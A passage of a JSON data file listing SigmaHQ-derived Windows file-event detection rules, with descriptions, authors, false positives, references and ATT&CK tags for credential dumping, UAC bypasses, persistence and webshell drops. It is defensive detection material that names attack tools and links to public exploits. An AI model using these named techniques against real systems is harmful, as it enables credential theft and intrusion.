"Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", "creation_date": "2020/05/26", "falsepositive": [ "System processes copied outside their default folders for testing purposes", "Third party software naming their software with the same names as the processes mentioned here" ], "filename": "file_event_win_creation_system_file.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.005" ] }, "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", "value": "Files With System Process Name In Unsuspected Locations" }, { "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/11/01", "falsepositive": [ "Legitimate Administrator using tool for password recovery" ], "filename": "file_event_win_cred_dump_tools_dropped_files.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.003", "attack.t1003.004", "attack.t1003.005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", "value": "Cred Dump Tools Dropped Files" }, { "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "meta": { "author": "HieuTT35, Nasreddine Bencherchali", "creation_date": "2019/10/24", "falsepositive": [ "System administrator creating Powershell profile manually" ], "filename": "file_event_win_susp_powershell_profile.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/powershellprofile.html", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.013" ] }, "related": [ { "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", "value": "PowerShell Profile Modification" }, { "description": "TeamViewer_Desktop.exe is create during install", "meta": { "author": "frack113", "creation_date": "2022/01/28", "falsepositive": [ "Unknown" ], "filename": "file_event_win_install_teamviewer_desktop.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", "value": "Installation of TeamViewer Desktop" }, { "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", "value": "UAC Bypass Using .NET Code Profiler on MMC" }, { "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/06", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" ], "tags": [ "attack.execution", "cve.2021.44077" ] }, "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", "value": "CVE-2021-44077 POC Default Dropped File" }, { "description": "Detects file writes of WMI script event consumer", "meta": { "author": "Thomas Patzke", "creation_date": "2018/03/07", "falsepositive": [ "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" ], "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" ], "tags": [ "attack.t1546.003", "attack.persistence" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", "value": "WMI Persistence - Script Event Consumer File Write" }, { "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class over the network", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_dcom_iertutil_dll_hijack.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dcom_iertutil_dll_hijack.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2f7979ae-f82b-45af-ac1d-2b10e93b0baa", "value": "Potential DCOM InternetExplorer.Application DLL Hijack" }, { "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "meta": { "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", "creation_date": "2020/03/19", "falsepositive": [ "Operations performed through Windows SCCM or equivalent", "Read only access list authority" ], "filename": "file_event_win_susp_desktop_ini.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" ], "tags": [ "attack.persistence", "attack.t1547.009" ] }, "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", "value": "Suspicious desktop.ini Action" }, { "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/28", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_spool_drivers_color_drop.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", "value": "Drop Binaries Into Spool Drivers Color Folder" }, { "description": "Detects files dropped by Winnti as described in RedMimicry Winnti playbook", "meta": { "author": "Alexander Rausch", "creation_date": "2020/06/24", "falsepositive": [ "Unknown" ], "filename": "file_event_win_redmimicry_winnti_filedrop.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redmimicry.com/posts/redmimicry-winnti/#dropper", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", "value": "Potential Winnti Dropper Activity" }, { "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "System administrators managing certififcates." ], "filename": "file_event_win_susp_pfx_file_creation.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", "https://github.com/OTRF/detection-hackathon-apt29/issues/14", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" ], "tags": [ "attack.credential_access", "attack.t1552.004" ] }, "related": [ { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", "value": "Suspicious PFX File Creation" }, { "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", "meta": { "author": "Florian Roth", "creation_date": "2021/11/22", "falsepositive": [ "Unknown", "Possibly some Microsoft Edge upgrades" ], "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/klinix5/InstallerFileTakeOver", "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event" }, { "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", "meta": { "author": "Florian Roth", "creation_date": "2021/11/08", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://cobalt.io/blog/kerberoast-attack-techniques", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" ], "tags": [ "attack.credential_access", "attack.t1558" ] }, "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", "value": "Mimikatz Kirbi File Creation" }, { "description": "Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.", "meta": { "author": "frack113, omkar72, oscd.community, Wojciech Lesicki", "creation_date": "2022/11/18", "falsepositive": [ "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" ], "filename": "file_event_win_net_cli_artefact.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml", "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0b06658-7d1d-4cd3-bf15-03467507ff7c", "value": "NET CLR Binary Execution Usage Log Artifact" }, { "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", "meta": { "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", "creation_date": "2022/04/27", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_eventvwr.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation" ] }, "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", "value": "UAC Bypass Using EventVwr" }, { "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", "meta": { "author": "Florian Roth (rule), MSTI (query, idea)", "creation_date": "2022/10/01", "falsepositive": [ "Unknown" ], "filename": "file_event_win_exchange_webshell_drop.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", "value": "Suspicious ASPX File Drop by Exchange" }, { "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "meta": { "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", "creation_date": "2017/11/10", "falsepositive": "No established falsepositives", "filename": "file_event_win_mal_adwind.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", "value": "Adwind RAT / JRAT File Artifact" }, { "description": "Detects the creation of new Outlook form which can contain malicious code", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/10", "falsepositive": [ "Unknown" ], "filename": "file_event_win_outlook_newform.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" ], "tags": [ "attack.persistence", "attack.t1137.003" ] }, "related": [ { "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", "value": "Outlook Form Installation" }, { "description": "Detects the presence of an LSASS dump file in the \"CrashDumps\" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.", "meta": { "author": "@pbssubhash", "creation_date": "2022/12/08", "falsepositive": [ "Rare legitimate dump of the process by the operating system due to a crash of lsass" ], "filename": "file_event_win_lsass_shtinkering.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/deepinstinct/Lsass-Shtinkering", "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_shtinkering.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f625", "value": "LSASS Process Dump Artefact In CrashDumps Folder" }, { "description": "Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.", "meta": { "author": "SecurityAura", "creation_date": "2022/11/16", "falsepositive": [ "Unknown" ], "filename": "file_event_win_remote_cred_dump.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/Porchetta-Industries/CrackMapExec", "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_cred_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6e2a900a-ced9-4e4a-a9c2-13e706f9518a", "value": "Potential Remote Credential Dumping Activity" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/11", "falsepositive": [ "Legitimate use" ], "filename": "file_event_win_anydesk_artefact.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", "value": "Anydesk Temporary Artefact" }, { "description": "Detects the creation of the default output filename used by the wmicexec tool", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/02", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_wmiexec_default_filename.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" ], "tags": [ "attack.lateral_movement", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", "value": "Wmiexec Default Output File" }, { "description": "A office file with macro is created from a commandline or a script", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Unknown" ], "filename": "file_event_win_macro_file.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "b1c50487-1967-4315-a026-6491686d860e", "value": "Dump Office Macro Files from Commandline" }, { "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "meta": { "author": "frack113", "creation_date": "2021/12/29", "falsepositive": [ "Unknown" ], "filename": "file_event_win_creation_scr_binary_file.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" ], "tags": [ "attack.persistence", "attack.t1546.002" ] }, "related": [ { "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", "value": "Suspicious Screensaver Binary File Creation" }, { "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE", "creation_date": "2021/10/24", "falsepositive": [ "Unknown", "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." ], "filename": "file_event_win_powershell_startup_shortcuts.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", "value": "PowerShell Writing Startup Shortcuts" }, { "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" ], "tags": [ "attack.t1204.002", "attack.execution" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", "value": "Created Files by Office Applications" }, { "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", "meta": { "author": "frack113", "creation_date": "2022/01/09", "falsepositive": [ "Unknown" ], "filename": "file_event_win_csharp_compile_artefact.yml", "level": "low", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.004" ] }, "related": [ { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", "value": "Dynamic C Sharp Compile Artefact" }, { "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" ], "filename": "file_event_win_startup_folder_file_write.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/12", "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", "value": "Startup Folder File Write" }, { "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", "value": "UAC Bypass Using NTFS Reparse Point - File" }, { "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", "meta": { "author": "Florian Roth", "creation_date": "2022/03/11", "falsepositive": [ "Unknown" ], "filename": "file_event_win_ntds_dit.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", "value": "Suspicious NTDS.DIT Creation" }, { 